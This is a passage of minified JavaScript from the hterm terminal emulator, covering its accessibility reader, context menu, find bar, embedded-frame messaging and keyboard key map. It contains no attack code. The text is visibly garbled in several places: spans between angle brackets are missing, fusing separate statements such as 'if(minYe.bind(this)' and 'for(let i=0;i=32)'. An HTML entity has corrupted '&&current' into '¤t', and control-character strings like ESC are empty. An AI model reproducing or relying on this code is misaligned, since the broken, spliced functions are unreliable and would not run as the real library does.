"&&this.cursorChangeQueue_.length>0&&this.cursorChangeQueue_[0]==" "){this.assertiveAnnounce(" ");return true}}const cursorDeleted=cursorColumn;if(hterm.wc.strWidth(cursorRowString)<=hterm.wc.strWidth(this.lastCursorRowString_)&&hterm.wc.substr(this.lastCursorRowString_,0,cursorDeleted)==hterm.wc.substr(cursorRowString,0,cursorDeleted)){let lengthOfCurrentRow=hterm.wc.strWidth(cursorRowString);for(;lengthOfCurrentRow>0;--lengthOfCurrentRow){if(lengthOfCurrentRow==cursorDeleted||hterm.wc.substr(cursorRowString,lengthOfCurrentRow-1,1)!=" "){break}}const numCharsDeleted=hterm.wc.strWidth(this.lastCursorRowString_)-lengthOfCurrentRow;const lengthOfEndOfString=lengthOfCurrentRow-cursorDeleted;const endOfLastRowString=hterm.wc.substr(this.lastCursorRowString_,cursorDeleted+numCharsDeleted,lengthOfEndOfString);const endOfCurrentRowString=hterm.wc.substr(cursorRowString,cursorDeleted,lengthOfEndOfString);if(endOfLastRowString==endOfCurrentRowString){const deleted=hterm.wc.substr(this.lastCursorRowString_,cursorDeleted,numCharsDeleted);if(deleted!=""){this.assertiveAnnounce(deleted);return true}}}return false}return false};hterm.AccessibilityReader.prototype.addToLiveRegion_=function(){this.nextReadTimer_=null;let str=this.queue_.join("\n").trim();if(str==this.liveElement_.innerText){str="\n"+str}this.liveElement_.innerText=str;this.queue_=[]};hterm.ContextMenu=function(){this.document_=null;this.element_=null;this.menu_=[]};hterm.ContextMenu.Item;hterm.ContextMenu.SEPARATOR=Symbol("-");hterm.ContextMenu.prototype.setDocument=function(document){if(this.element_){this.element_.remove();this.element_=null}this.document_=document;this.regenerate_();this.document_.body.appendChild(this.element_)};hterm.ContextMenu.prototype.regenerate_=function(){if(!this.element_){this.element_=this.document_.createElement("menu");this.element_.id="hterm:context-menu"}else{this.hide()}while(this.element_.firstChild){this.element_.removeChild(this.element_.firstChild)}this.menu_.forEach(({name,action})=>{const menuitem=this.document_.createElement("menuitem");if(name===hterm.ContextMenu.SEPARATOR){menuitem.innerHTML=hterm.sanitizeHtml("
");menuitem.className="separator"}else{menuitem.innerText=name;menuitem.addEventListener("mousedown",function(e){e.preventDefault();action(e)})}this.element_.appendChild(menuitem)})};hterm.ContextMenu.prototype.setItems=function(items){this.menu_=items;this.regenerate_()};hterm.ContextMenu.prototype.show=function(e,terminal){if(this.menu_.length==0){return}if(terminal){this.element_.style.fontSize=terminal.getFontSize();this.element_.style.fontFamily=terminal.getFontFamily()}this.element_.style.top=`${e.clientY}px`;this.element_.style.left=`${e.clientX}px`;const docSize=this.document_.body.getBoundingClientRect();this.element_.style.display="block";const eleSize=this.element_.getBoundingClientRect();const minY=Math.max(0,docSize.height-eleSize.height);const minX=Math.max(0,docSize.width-eleSize.width);if(minYe.bind(this);this.input_.addEventListener("input",el(this.onInput_));this.input_.addEventListener("keydown",el(this.onKeyDown_));this.input_.addEventListener("keypress",el(this.onKeyPressed_));this.input_.addEventListener("textInput",el(this.onInputText_));this.input_.addEventListener("focus",el(()=>{this.hasFocus=true}));this.input_.addEventListener("blur",el(()=>{this.hasFocus=false}));this.closeButton_.addEventListener("click",el(this.close));this.upArrowButton_.addEventListener("click",el(this.onPrevious_));this.downArrowButton_.addEventListener("click",el(this.onNext_));document.body.appendChild(this.findBar_);this.resultScreen_=document.createElement("div");this.resultScreen_.id="hterm:find-result-screen";this.resultScreen_.innerHTML=hterm.sanitizeHtml(lib.resource.getText("hterm/html/find_screen"));this.resultScreen_.style.display="none";document.body.appendChild(this.resultScreen_)};hterm.FindBar.prototype.display=function(){this.scrollPort_.subscribe("scroll",this.onScroll_);this.findBar_.classList.add("enabled");this.findBar_.removeAttribute("aria-hidden");this.input_.focus();this.resultScreen_.style.display="";this.isVisible=true;this.input_.dispatchEvent(new Event("input"))};hterm.FindBar.prototype.close=function(){this.resultScreen_.style.display="none";this.scrollPort_.unsubscribe("scroll",this.onScroll_);this.findBar_.classList.remove("enabled");this.findBar_.setAttribute("aria-hidden","true");this.terminal_.focus();this.isVisible=false;this.stopSearch();this.results_={};this.resultCount_=0};hterm.FindBar.prototype.stopSearch=function(){if(this.pendingFind_!==null){clearTimeout(this.pendingFind_);this.pendingFind_=null}this.runBatchCallbackForTest_(0)};hterm.FindBar.prototype.syncResults_=function(){this.batchRow_=0;this.batchNum_=0;this.results_={};this.resultCount_=0;this.matchingRowsIndex_.length=0;this.redraw_();this.updateCounterLabel_();if(!this.searchText_){return}const rowCount=this.terminal_.getRowCount();const runNextBatch=()=>{const batchEnd=Math.min(this.batchRow_+this.batchSize,rowCount);while(this.batchRow_0};hterm.FindBar.prototype.onInput_=function(event){this.searchText_=event.target.value.toLowerCase();clearTimeout(this.pendingFind_);this.pendingFind_=setTimeout(()=>this.syncResults_())};hterm.FindBar.prototype.onKeyPressed_=function(event){event.stopPropagation()};hterm.FindBar.prototype.onInputText_=function(event){event.stopPropagation()};hterm.FindBar.prototype.onKeyDown_=function(event){if(event.metaKey||event.altKey){event.stopPropagation();return}if(event.key=="Escape"){this.close()}if(event.key=="Enter"){if(event.shiftKey){this.onPrevious_()}else{this.onNext_()}}if(event.ctrlKey&&event.keyCode==71){if(event.shiftKey){this.onPrevious_()}else{this.onNext_()}event.preventDefault()}if(event.ctrlKey&&event.keyCode==70){event.preventDefault()}event.stopPropagation()};hterm.FindBar.prototype.setFindResultColor=function(color){if(color===undefined){color=this.terminal_.getPrefs().getString("find-result-color")}this.terminal_.setCssVar("find-result-color",color)};hterm.FindBar.prototype.setFindResultSelectedColor=function(color=undefined){if(color===undefined){color=this.terminal_.getPrefs().getString("find-result-selected-color")}this.terminal_.setCssVar("find-result-selected-color",color)};hterm.FindBar.prototype.setBatchCallbackForTest=function(batchNum,callback){this.batchCallbacksForTest_[batchNum]=callback};hterm.FindBar.prototype.redraw_=function(){const topRowIndex=this.scrollPort_.getTopRowIndex();const bottomRowIndex=this.scrollPort_.getBottomRowIndex(topRowIndex);this.visibleRows_.forEach(row=>{row.remove()});this.visibleRows_=[];for(let rowNum=topRowIndex;rowNum<=bottomRowIndex;rowNum++){const newRow=this.fetchRowNode_(rowNum);this.resultScreen_.appendChild(newRow);this.visibleRows_.push(newRow)}delete this.pendingRedraw_;this.highlightSelectedResult_()};hterm.FindBar.prototype.fetchRowNode_=function(rowNum){if(rowNum>=this.batchRow_){this.findInRow_(rowNum)}const row=this.results_[rowNum];if(row&&row.findRow){return row.findRow}const findRow=this.terminal_.getDocument().createElement("find-row");if(!row){return findRow}row.rowResult.forEach(result=>{const highlighter=this.terminal_.getDocument().createElement("div");highlighter.classList.add("find-highlighter");highlighter.style.left=`calc(var(--hterm-charsize-width) * ${result.index})`;highlighter.style.width=`calc(var(--hterm-charsize-width) * ${this.searchText_.length})`;result.highlighter=highlighter;findRow.appendChild(highlighter)});return row.findRow=findRow};hterm.FindBar.prototype.scheduleRedraw_=function(){if(this.pendingRedraw_){return}this.pendingRedraw_=setTimeout(()=>{this.redraw_()})};hterm.FindBar.prototype.runBatchCallbackForTest_=function(batchNum){const callback=this.batchCallbacksForTest_[batchNum];if(callback){callback();delete this.batchCallbacksForTest_[batchNum]}};hterm.FindBar.prototype.updateCounterLabel_=function(){if(this.resultCount_===0){this.selectedRowNum_=0;this.selectedRowIndex_=0;this.selectedOrdinal_=-1;this.selectedResultKnown_=true;this.upArrowButton_.classList.remove("enabled");this.downArrowButton_.classList.remove("enabled")}if(this.selectedResultKnown_){this.counterLabel_.textContent=hterm.msg("FIND_COUNTER_LABEL",[this.selectedOrdinal_+1,this.resultCount_])}else{this.counterLabel_.textContent=hterm.msg("FIND_RESULT_COUNT",[this.resultCount_])}this.highlightSelectedResult_()};hterm.FindBar.indexOf=function(arr,value){let index=-1;let low=0;let high=arr.length-1;while(low<=high){const mid=Math.floor((low+high)/2);if(arr[mid]<=value){index=mid;low=mid+1}else{high=mid-1}}return index};hterm.FindBar.prototype.canUseMatchingRowsIndex_=function(step){const topRowIndex=this.scrollPort_.getTopRowIndex();const bottomRowIndex=this.scrollPort_.getBottomRowIndex(topRowIndex);const index=this.matchingRowsIndex_;const current=this.selectedRowNum_;return this.batchRow_>bottomRowIndex||step>0&¤tindex[0]};hterm.FindBar.prototype.selectNext_=function(step){const circularStep=(i,s,len)=>(i+s+len)%len;const stepOnce=(prev,next)=>step>0?prev:next;const row=this.results_[this.selectedRowNum_];if(row&&row.rowResult[this.selectedRowIndex_+step]!==undefined){this.selectedRowIndex_+=step}else{let topRowIndex=this.scrollPort_.getTopRowIndex();const bottomRowIndex=this.scrollPort_.getBottomRowIndex(topRowIndex);const index=this.matchingRowsIndex_;const current=this.selectedRowNum_;if(this.canUseMatchingRowsIndex_(step)){let i=hterm.FindBar.indexOf(index,current);if(!this.selectedResultKnown_&&step<0){i++}this.selectedRowNum_=index[circularStep(i,step,index.length)]}else{let start=current+step;topRowIndex=Math.max(topRowIndex,this.batchRow_);if(currentbottomRowIndex){start=stepOnce(topRowIndex,bottomRowIndex)}const end=stepOnce(bottomRowIndex+1,topRowIndex-1);if(index.length>0){this.selectedRowNum_=index[stepOnce(0,index.length-1)]}for(let i=start;i!=end;i+=step){if(this.results_[i]){this.selectedRowNum_=i;break}}}const row=this.results_[this.selectedRowNum_];this.selectedRowIndex_=stepOnce(0,row.rowResult.length-1)}const s=!this.selectedResultKnown_&&step>0?0:step;this.selectedOrdinal_=circularStep(this.selectedOrdinal_,s,this.resultCount_);this.selectedResultKnown_=true;this.scrollToResult_();this.updateCounterLabel_()};hterm.FindBar.prototype.onNext_=function(){if(!this.downArrowButton_.classList.contains("enabled")){return}this.selectNext_(1)};hterm.FindBar.prototype.onPrevious_=function(){if(!this.upArrowButton_.classList.contains("enabled")){return}this.selectNext_(-1)};hterm.FindBar.prototype.scrollToResult_=function(){const topRowIndex=this.scrollPort_.getTopRowIndex();const bottomRowIndex=this.scrollPort_.getBottomRowIndex(topRowIndex);if(this.selectedRowNum_bottomRowIndex){this.scrollPort_.scrollRowToMiddle(this.selectedRowNum_)}};hterm.FindBar.prototype.highlightSelectedResult_=function(){if(this.selectedResult_){this.selectedResult_.classList.remove("selected");this.selectedResult_=null}if(this.resultCount_&&this.selectedResultKnown_){this.selectedResult_=this.results_[this.selectedRowNum_].rowResult[this.selectedRowIndex_].highlighter;if(this.selectedResult_){this.selectedResult_.classList.add("selected")}}};hterm.FindBar.prototype.scheduleNotifyChanges=function(rowNum){if(!this.isVisible){return}this.changedRows_.add(rowNum);if(this.pendingNotifyChanges_){return}this.pendingNotifyChanges_=setTimeout(()=>{this.notifyChanges_()})};hterm.FindBar.prototype.notifyChanges_=function(){this.changedRows_.forEach(rowNum=>{rowNum+=this.scrollPort_.getTopRowIndex();const prev=this.results_[rowNum];const found=this.findInRow_(rowNum,true);if(this.selectedRowNum_==rowNum){this.selectedOrdinal_-=this.selectedRowIndex_;this.selectedRowIndex_=0;this.selectedResultKnown_=found}if(!!prev!==found){const i=hterm.FindBar.indexOf(this.matchingRowsIndex_,rowNum);if(found){this.matchingRowsIndex_.splice(i+1,0,rowNum)}else{this.matchingRowsIndex_.splice(i,1)}}});this.updateCounterLabel_();this.redraw_();this.changedRows_.clear();delete this.pendingNotifyChanges_};hterm.Frame=function(terminal,url,options={}){this.terminal_=terminal;this.div_=terminal.div_;this.url=url;this.options=options;this.iframe_=null;this.container_=null;this.messageChannel_=null};hterm.Frame.prototype.onMessage_=function(e){switch(e.data.name){case"ipc-init-ok":this.sendTerminalInfo_();return;case"terminal-info-ok":this.container_.style.display="flex";this.postMessage("visible");this.messageChannel_.port1.onmessage=this.onMessage.bind(this);this.onLoad();return;default:console.log("Unknown message from frame:",e.data)}};hterm.Frame.prototype.onMessage=function(){};hterm.Frame.prototype.onLoad_=function(){this.messageChannel_=new MessageChannel;this.messageChannel_.port1.onmessage=this.onMessage_.bind(this);this.messageChannel_.port1.start();this.iframe_.contentWindow.postMessage({name:"ipc-init",argv:[{messagePort:this.messageChannel_.port2}]},this.url,[this.messageChannel_.port2])};hterm.Frame.prototype.onLoad=function(){};hterm.Frame.prototype.sendTerminalInfo_=function(){lib.i18n.getAcceptLanguages().then(languages=>{this.postMessage("terminal-info",[{acceptLanguages:languages,foregroundColor:this.terminal_.getForegroundColor(),backgroundColor:this.terminal_.getBackgroundColor(),cursorColor:this.terminal_.getCursorColor(),fontSize:this.terminal_.getFontSize(),fontFamily:this.terminal_.getFontFamily(),baseURL:lib.f.getURL("/")}])})};hterm.Frame.prototype.onCloseClicked_=function(){this.close()};hterm.Frame.prototype.close=function(){if(!this.container_||!this.container_.parentNode){return}this.container_.remove();this.onClose()};hterm.Frame.prototype.onClose=function(){};hterm.Frame.prototype.postMessage=function(name,argv){if(!this.messageChannel_){throw new Error("Message channel is not set up.")}this.messageChannel_.port1.postMessage({name:name,argv:argv})};hterm.Frame.prototype.show=function(){if(this.container_&&this.container_.parentNode){console.error("Frame already visible");return}const document=this.terminal_.document_;const container=this.container_=document.createElement("div");container.style.cssText="position: absolute;"+"display: none;"+"flex-direction: column;"+"top: 10%;"+"left: 4%;"+"width: 90%;"+"height: 80%;"+"min-height: 20%;"+"max-height: 80%;"+"box-shadow: 0 0 2px "+this.terminal_.getForegroundColor()+";"+"border: 2px "+this.terminal_.getForegroundColor()+" solid;";const iframe=this.iframe_=document.createElement("iframe");iframe.onload=this.onLoad_.bind(this);iframe.style.cssText="display: flex;"+"flex: 1;"+"width: 100%";iframe.setAttribute("src",this.url);iframe.setAttribute("seamless",true);container.appendChild(iframe);this.div_.appendChild(container)};hterm.Keyboard=function(terminal){this.terminal=terminal;this.keyboardElement_=null;this.handlers_=[["focusout",this.onFocusOut_.bind(this)],["keydown",this.onKeyDown_.bind(this)],["keypress",this.onKeyPress_.bind(this)],["keyup",this.onKeyUp_.bind(this)],["textInput",this.onTextInput_.bind(this)]];this.keyMap=new hterm.Keyboard.KeyMap(this);this.bindings=new hterm.Keyboard.Bindings;this.altGrMode="none";this.shiftInsertPaste=true;this.homeKeysScroll=false;this.pageKeysScroll=false;this.ctrlPlusMinusZeroZoom=true;this.ctrlCCopy=false;this.ctrlVPaste=false;this.applicationKeypad=false;this.applicationCursor=false;this.backspaceSendsBackspace=false;this.metaSendsEscape=true;this.passMetaV=true;this.altSendsWhat="escape";this.altIsMeta=false;this.altBackspaceIsMetaBackspace=false;this.altKeyPressed=0;this.mediaKeysAreFKeys=false;this.previousAltSendsWhat_=null};hterm.Keyboard.KeyActions={CANCEL:Symbol("CANCEL"),DEFAULT:Symbol("DEFAULT"),PASS:Symbol("PASS"),STRIP:Symbol("STRIP")};hterm.Keyboard.KeyAction;hterm.Keyboard.prototype.installKeyboard=function(element){if(element==this.keyboardElement_){return}if(element&&this.keyboardElement_){this.installKeyboard(null)}for(let i=0;i=32){ch=String.fromCharCode(e.charCode)}if(ch){this.terminal.onVTKeystroke(ch)}e.preventDefault();e.stopPropagation()};hterm.Keyboard.prototype.onFocusOut_=function(e){this.altKeyPressed=0};hterm.Keyboard.prototype.onKeyUp_=function(e){if(e.keyCode==18){this.altKeyPressed=this.altKeyPressed&~(1<{resolvedActionType=name;let action=keyDef[name];if(typeof action=="function"){action=action.call(this.keyMap,e,keyDef)}if(action===DEFAULT&&name!="normal"){action=getKeyDefAction("normal")}return action};const CANCEL=hterm.Keyboard.KeyActions.CANCEL;const DEFAULT=hterm.Keyboard.KeyActions.DEFAULT;const PASS=hterm.Keyboard.KeyActions.PASS;const STRIP=hterm.Keyboard.KeyActions.STRIP;let control=e.ctrlKey;let shift=e.shiftKey;let alt=this.altIsMeta?false:e.altKey;let meta=this.altIsMeta?e.altKey||e.metaKey:e.metaKey;const isPrintable=!/^\[\w+\]$/.test(keyDef.keyCap);switch(this.altGrMode){case"ctrl-alt":if(isPrintable&&control&&alt){control=false;alt=false}break;case"right-alt":if(isPrintable&&this.terminal.keyboard.altKeyPressed&2){control=false;alt=false}break;case"left-alt":if(isPrintable&&this.terminal.keyboard.altKeyPressed&1){control=false;alt=false}break}const keyDown={keyCode:e.keyCode,shift:e.shiftKey,ctrl:control,alt:alt,meta:meta};let action;const binding=this.bindings.getBinding(keyDown);if(binding){shift=control=alt=meta=false;resolvedActionType="normal";if(typeof binding.action=="function"){const bindingFn=binding.action;action=bindingFn.call(this,this.terminal,keyDown)}else{action=binding.action}}else{if(control){action=getKeyDefAction("control")}else if(alt){action=getKeyDefAction("alt")}else if(meta){action=getKeyDefAction("meta")}else{action=getKeyDefAction("normal")}shift=!e.maskShiftKey&&e.shiftKey}if(typeof action=="function"){action=action.call(this.keyMap,e,keyDef)}if(alt&&this.altSendsWhat=="browser-key"&&action==DEFAULT){action=PASS}if(action!==PASS){this.terminal.contextMenu.hide()}if(action===PASS||action===DEFAULT&&!(control||alt||meta)){return}if(action===STRIP){alt=control=false;action=keyDef.normal;if(typeof action=="function"){action=action.call(this.keyMap,e,keyDef)}if(action==DEFAULT&&keyDef.keyCap.length==2){action=keyDef.keyCap.substr(shift?1:0,1)}}e.preventDefault();e.stopPropagation();if(action===CANCEL){return}if(action!==DEFAULT&&typeof action!="string"){console.warn("Invalid action: "+JSON.stringify(action));return}if(resolvedActionType=="control"){control=false}else if(resolvedActionType=="alt"){alt=false}else if(resolvedActionType=="meta"){meta=false}if(typeof action=="string"&&action.substr(0,2)=="["&&(alt||control||shift||meta)){let imod=1;if(shift){imod+=1}if(alt){imod+=2}if(control){imod+=4}if(meta){imod+=8}const mod=";"+imod;if(action.length==3){action="[1"+mod+action.substr(2,1)}else{action=action.substr(0,action.length-1)+mod+action.substr(action.length-1)}}else{if(action===DEFAULT){action=keyDef.keyCap.substr(shift?1:0,1);if(control){const unshifted=keyDef.keyCap.substr(0,1);const code=unshifted.charCodeAt(0);if(code>=64&&code<=95){action=String.fromCharCode(code-64)}}}if(alt&&this.altSendsWhat=="8-bit"&&action.length==1){const code=action.charCodeAt(0)+128;action=String.fromCharCode(code)}if(alt&&this.altSendsWhat=="escape"||meta&&this.metaSendsEscape){action=""+action}}this.terminal.onVTKeystroke(action)};hterm.Keyboard.KeyDown;hterm.Keyboard.KeyBindingFunction;hterm.Keyboard.KeyBindingAction;hterm.Keyboard.KeyBinding;hterm.Keyboard.Bindings=function(){this.bindings_={}};hterm.Keyboard.Bindings.OsDefaults={android:{},cros:{"Alt+Shift+I":"PASS","Ctrl+Alt+Z":"PASS","Ctrl+Space":"PASS"},linux:{},mac:{"Meta+Left":'""',"Meta+Right":'""'},windows:{}};hterm.Keyboard.Bindings.prototype.clear=function(){this.bindings_={}};hterm.Keyboard.Bindings.prototype.addBinding_=function(keyPattern,action){let binding=null;const list=this.bindings_[keyPattern.keyCode];if(list){for(let i=0;i{if(typeof action=="function"){const keyDefFn=action;return keyDefFn.call(this,e,k)}return action};const ac=(a,b)=>{return(e,k)=>{const action=e.shiftKey||e.ctrlKey||e.altKey||e.metaKey||!this.keyboard.applicationCursor?a:b;return resolve(action,e,k)}};const bs=(a,b)=>{return(e,k)=>{const action=!this.keyboard.backspaceSendsBackspace?a:b;return resolve(action,e,k)}};const sh=(a,b)=>{return(e,k)=>{const action=!e.shiftKey?a:b;e.maskShiftKey=true;return resolve(action,e,k)}};const alt=(a,b)=>{return(e,k)=>{const action=!e.altKey?a:b;return resolve(action,e,k)}};const mod=(a,b)=>{return(e,k)=>{const action=!(e.shiftKey||e.ctrlKey||e.altKey||e.metaKey)?a:b;return resolve(action,e,k)}};const ctl=ch=>String.fromCharCode(ch.charCodeAt(0)-64);const c=m=>{return(e,k)=>this[m](e,k)};const med=fn=>{return(e,k)=>{if(!this.keyboard.mediaKeysAreFKeys){return e.keyCode==166||e.keyCode==167||e.keyCode==168?CANCEL:PASS}return resolve(fn,e,k)}};const add=(keyCode,keyCap,normal,control,alt,meta)=>{this.addKeyDef(keyCode,{keyCap:keyCap,normal:normal,control:control,alt:alt,meta:meta})};let keycapSC;let keycapEP;let keycapMU;if(globalThis.navigator?.userAgent&&globalThis.navigator.userAgent.includes("Firefox")){keycapSC=59;keycapEP=61;keycapMU=173;add(171,"+*",DEFAULT,c("onZoom_"),DEFAULT,c("onZoom_"))}else{keycapSC=186;keycapEP=187;keycapMU=189}const ESC="";const CSI="[";const SS3="O";add(0,"[UNKNOWN]",PASS,PASS,PASS,PASS);add(27,"[ESC]",ESC,DEFAULT,DEFAULT,DEFAULT);add(112,"[F1]",mod(SS3+"P",CSI+"P"),DEFAULT,CSI+"23~",DEFAULT);add(113,"[F2]",mod(SS3+"Q",CSI+"Q"),DEFAULT,CSI+"24~",DEFAULT);add(114,"[F3]",mod(SS3+"R",CSI+"R"),DEFAULT,CSI+"25~",DEFAULT);add(115,"[F4]",mod(SS3+"S",CSI+"S"),DEFAULT,CSI+"26~",DEFAULT);add(116,"[F5]",CSI+"15~",DEFAULT,CSI+"28~",DEFAULT);add(117,"[F6]",CSI+"17~",DEFAULT,CSI+"29~",DEFAULT);add(118,"[F7]",CSI+"18~",DEFAULT,CSI+"31~",DEFAULT);add(119,"[F8]",CSI+"19~",DEFAULT,CSI+"32~",DEFAULT);add(120,"[F9]",CSI+"20~",DEFAULT,CSI+"33~",DEFAULT);add(121,"[F10]",CSI+"21~",DEFAULT,CSI+"34~",DEFAULT);add(122,"[F11]",c("onF11_"),DEFAULT,CSI+"42~",DEFAULT);add(123,"[F12]",CSI+"24~",DEFAULT,CSI+"43~",DEFAULT);add(192,"`~",DEFAULT,sh(ctl("@"),ctl("^")),DEFAULT,PASS);add(49,"1!",DEFAULT,c("onCtrlNum_"),c("onAltNum_"),c("onMetaNum_"));add(50,"2@",DEFAULT,c("onCtrlNum_"),c("onAltNum_"),c("onMetaNum_"));add(51,"3#",DEFAULT,c("onCtrlNum_"),c("onAltNum_"),c("onMetaNum_"));add(52,"4$",DEFAULT,c("onCtrlNum_"),c("onAltNum_"),c("onMetaNum_"));add(53,"5%",DEFAULT,c("onCtrlNum_"),c("onAltNum_"),c("onMetaNum_"));add(54,"6^",DEFAULT,c("onCtrlNum_"),c("onAltNum_"),c("onMetaNum_"));add(55,"7&",DEFAULT,c("onCtrlNum_"),c("onAltNum_"),c("onMetaNum_"));add(56,"8*",DEFAULT,c("onCtrlNum_"),c("onAltNum_"),c("onMetaNum_"));add(57,"9(",DEFAULT,c("onCtrlNum_"),c("onAltNum_"),c("onMetaNum_"));add(48,"0)",DEFAULT,c("onZoom_"),c("onAltNum_"),c("onZoom_"));add(keycapMU,"-_",DEFAULT,c("onZoom_"),DEFAULT,c("onZoom_"));add(keycapEP,"=+",DEFAULT,c("onZoom_"),DEFAULT,c("onZoom_"));add(8,"[BKSP]",bs("","\b"),bs("\b",""),DEFAULT,DEFAULT);add(9,"[TAB]",sh("\t",CSI+"Z"),c("onCtrlTab_"),PASS,DEFAULT);add(81,"qQ",DEFAULT,ctl("Q"),DEFAULT,DEFAULT);add(87,"wW",DEFAULT,c("onCtrlW_"),DEFAULT,DEFAULT);add(69,"eE",DEFAULT,ctl("E"),DEFAULT,DEFAULT);add(82,"rR",DEFAULT,ctl("R"),DEFAULT,DEFAULT);add(84,"tT",DEFAULT,c("onCtrlT_"),DEFAULT,DEFAULT);add(89,"yY",DEFAULT,ctl("Y"),DEFAULT,DEFAULT);add(85,"uU",DEFAULT,ctl("U"),DEFAULT,DEFAULT);add(73,"iI",DEFAULT,ctl("I"),DEFAULT,DEFAULT);add(79,"oO",DEFAULT,ctl("O"),DEFAULT,DEFAULT);add(80,"pP",DEFAULT,ctl("P"),DEFAULT,DEFAULT);add(219,"[{",DEFAULT,ctl("["),DEFAULT,DEFAULT);add(221,"]}",DEFAULT,ctl("]"),DEFAULT,DEFAULT);add(220,"\\|",DEFAULT,ctl("\\"),DEFAULT,DEFAULT);add(20,"[CAPS]",PASS,PASS,PASS,DEFAULT);add(65,"aA",DEFAULT,sh(ctl("A"),c("onCtrlShiftA_")),DEFAULT,DEFAULT);add(83,"sS",DEFAULT,ctl("S"),DEFAULT,DEFAULT);add(68,"dD",DEFAULT,ctl("D"),DEFAULT,DEFAULT);add(70,"fF",DEFAULT,sh(ctl("F"),c("onCtrlShiftF_")),DEFAULT,DEFAULT);add(71,"gG",DEFAULT,ctl("G"),DEFAULT,DEFAULT);add(72,"hH",DEFAULT,ctl("H"),DEFAULT,DEFAULT);add(74,"jJ",DEFAULT,sh(ctl("J"),PASS),DEFAULT,DEFAULT);add(75,"kK",DEFAULT,sh(ctl("K"),c("onClear_")),DEFAULT,DEFAULT);add(76,"lL",DEFAULT,sh(ctl("L"),PASS),DEFAULT,DEFAULT);add(keycapSC,";:",DEFAULT,STRIP,DEFAULT,DEFAULT);add(222,"'\"",DEFAULT,STRIP,DEFAULT,DEFAULT);add(13,"[ENTER]","\r",DEFAULT,DEFAULT,DEFAULT);add(16,"[SHIFT]",PASS,PASS,PASS,DEFAULT);add(90,"zZ",DEFAULT,ctl("Z"),DEFAULT,DEFAULT);add(88,"xX",DEFAULT,ctl("X"),DEFAULT,DEFAULT);add(67,"cC",DEFAULT,c("onCtrlC_"),DEFAULT,c("onMetaC_"));add(86,"vV",DEFAULT,c("onCtrlV_"),DEFAULT,c("onMetaV_"));add(66,"bB",DEFAULT,ctl("B"),DEFAULT,DEFAULT);add(78,"nN",DEFAULT,c("onCtrlN_"),DEFAULT,c("onMetaN_"));add(77,"mM",DEFAULT,ctl("M"),DEFAULT,DEFAULT);add(188,",<",DEFAULT,alt(STRIP,PASS),DEFAULT,DEFAULT);add(190,".>",DEFAULT,alt(STRIP,PASS),DEFAULT,DEFAULT);add(191,"/?",DEFAULT,sh(ctl("_"),ctl("?")),DEFAULT,DEFAULT);add(17,"[CTRL]",PASS,PASS,PASS,PASS);add(18,"[ALT]",PASS,PASS,PASS,PASS);add(91,"[LAPL]",PASS,PASS,PASS,PASS);add(32," ",DEFAULT,ctl("@"),DEFAULT,DEFAULT);add(92,"[RAPL]",PASS,PASS,PASS,PASS);add(93,"[RMENU]",PASS,PASS,PASS,PASS);add(42,"[PRTSCR]",PASS,PASS,PASS,PASS);add(145,"[SCRLK]",PASS,PASS,PASS,PASS);add(19,"[BREAK]",PASS,PASS,PASS,PASS);add(45,"[INSERT]",c("onKeyInsert_"),DEFAULT,DEFAULT,DEFAULT);add(36,"[HOME]",c("onKeyHome_"),DEFAULT,DEFAULT,DEFAULT);add(33,"[PGUP]",c("onKeyPageUp_"),DEFAULT,DEFAULT,DEFAULT);add(46,"[DEL]",c("onKeyDel_"),DEFAULT,DEFAULT,DEFAULT);add(35,"[END]",c("onKeyEnd_"),DEFAULT,DEFAULT,DEFAULT);add(34,"[PGDOWN]",c("onKeyPageDown_"),DEFAULT,DEFAULT,DEFAULT);add(38,"[UP]",c("onKeyArrowUp_"),DEFAULT,DEFAULT,DEFAULT);add(40,"[DOWN]",c("onKeyArrowDown_"),DEFAULT,DEFAULT,DEFAULT);add(39,"[RIGHT]",ac(CSI+"C",SS3+"C"),DEFAULT,DEFAULT,DEFAULT);add(37,"[LEFT]",ac(CSI+"D",SS3+"D"),DEFAULT,DEFAULT,DEFAULT);add(144,"[NUMLOCK]",PASS,PASS,PASS,PASS);add(12,"[CLEAR]",PASS,PASS,PASS,PASS);add(96,"[KP0]",DEFAULT,DEFAULT,DEFAULT,DEFAULT);add(97,"[KP1]",DEFAULT,DEFAULT,DEFAULT,DEFAULT);add(98,"[KP2]",DEFAULT,DEFAULT,DEFAULT,DEFAULT);add(99,"[KP3]",DEFAULT,DEFAULT,DEFAULT,DEFAULT);add(100,"[KP4]",DEFAULT,DEFAULT,DEFAULT,DEFAULT);add(101,"[KP5]",DEFAULT,DEFAULT,DEFAULT,DEFAULT);add(102,"[KP6]",DEFAULT,DEFAULT,DEFAULT,DEFAULT);add(103,"[KP7]",DEFAULT,DEFAULT,DEFAULT,DEFAULT);add(104,"[KP8]",DEFAULT,DEFAULT,DEFAULT,DEFAULT);add(105,"[KP9]",DEFAULT,DEFAULT,DEFAULT,DEFAULT);add(107,"[KP+]",DEFAULT,c("onZoom_"),DEFAULT,c("onZoom_"));add(109,"[KP-]",DEFAULT,c("onZoom_"),DEFAULT,c("onZoom_"));add(106,"[KP*]",DEFAULT,DEFAULT,DEFAULT,DEFAULT);add(111,"[KP/]",DEFAULT,DEFAULT,DEFAULT,DEFAULT);add(110,"[KP.]",DEFAULT,DEFAULT,DEFAULT,DEFAULT);if(hterm.os=="cros"){add(166,"[BACK]",med(mod(SS3+"P",CSI+"P")),DEFAULT,CSI+"23~",DEFAULT);add(167,"[FWD]",med(mod(SS3+"Q",CSI+"Q")),DEFAULT,CSI+"24~",DEFAULT);add(168,"[RELOAD]",med(mod(SS3+"R",CSI+"R")),DEFAULT,CSI+"25~",DEFAULT);add(183,"[FSCR]",med(mod(SS3+"S",CSI+"S")),DEFAULT,CSI+"26~",DEFAULT);add(182,"[WINS]",med(CSI+"15~"),DEFAULT,CSI+"28~",DEFAULT);add(216,"[BRIT-]",med(CSI+"17~"),DEFAULT,CSI+"29~",DEFAULT);add(217,"[BRIT+]",med(CSI+"18~"),DEFAULT,CSI+"31~",DEFAULT);add(173,"[MUTE]",med(CSI+"19~"),DEFAULT,CSI+"32~",DEFAULT);add(174,"[VOL-]",med(CSI+"20~"),DEFAULT,CSI+"33~",DEFAULT);add(175,"[VOL+]",med(CSI+"21~"),DEFAULT,CSI+"34~",DEFAULT);add(152,"[POWER]",DEFAULT,DEFAULT,DEFAULT,DEFAULT);add(179,"[PLAY]",med(CSI+"18~"),DEFAULT,CSI+"31~",DEFAULT);add(154,"[DOGS]",med(CSI+"23~"),DEFAULT,CSI+"42~",DEFAULT);add(153,"[ASSIST]",DEFAULT,DEFAULT,DEFAULT,DEFAULT)}};hterm.Keyboard.KeyMap.prototype.onKeyInsert